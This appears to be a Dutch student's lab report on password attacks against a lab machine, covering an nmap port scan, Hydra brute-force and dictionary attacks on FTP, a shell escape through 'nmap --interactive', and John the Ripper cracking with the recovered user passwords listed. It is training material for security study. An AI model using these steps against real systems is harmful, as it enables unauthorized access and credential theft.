

# Cyber practicum 3

- [LAB 3. Brute force en dictionary attacks](#)
  - [3.1 Online attack met Hydra](#)
    - [3.1.1 Bruteforce attack met Hydra](#)
    - [Dictionary attack met hydra](#)
  - [3.2 Offline attack met John](#)

## LAB 3. Brute force en dictionary attacks

### 3.1 Online attack met Hydra

#### 3.1.1 Bruteforce attack met Hydra

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 16:21 EST
Nmap scan report for 10.0.2.5
Host is up (0.00051s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

| Bij poort 21/tcp staat als status open voor de service ftp

| Als je alleen poort 21 scant zie je alleen ftp

In de commandline volgt

```
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-23 16:29:22

[ERROR] definition for password brute force (-x) generates more than 4 billion passwords - this is not a bug in the
program, it is just not feasible to try so many attempts. Try a calculator how long that would take. duh.
```

| In wireshark zie je ARP met info Who has 10.0.2.3? Tell 10.0.2.5

| Het probleem met brute force is dat het te veel mogelijkheden test dit duurt te lang

### Dictionary attack met hydra

Het wachtwoord is [service](#)

Dit gaat relatief snel omdat het aantal mogelijke passwords dat wordt gebruikt veel lager is

De beperking van deze wijze van brute force is dat het wachtwoord in je database moet staan

### 3.2 Offline attack met John

- Na het inloggen met telnet en gebruiker "service"
- Vul in

```
nmap --interactive
```

- Daarna

```
nmap> !sh
```

- Na het runnen van

```
john myfile.txt --wordlist=passwords.txt
```

Vind je de wachtwoorden

```
123456789      (klog)
batman         (sys)
service        (service)
student        (student)
```

Met john krijg je gelijk het corresponderende wachtwoord van de gebruikers

- Om deze dictionary te gebruiken gebruik ik het volgende commando

```
john myfile.txt --wordlist=all.txt
```

- Ik vond de volgende wachtwoorden

```
user          (user)
postgres      (postgres)
```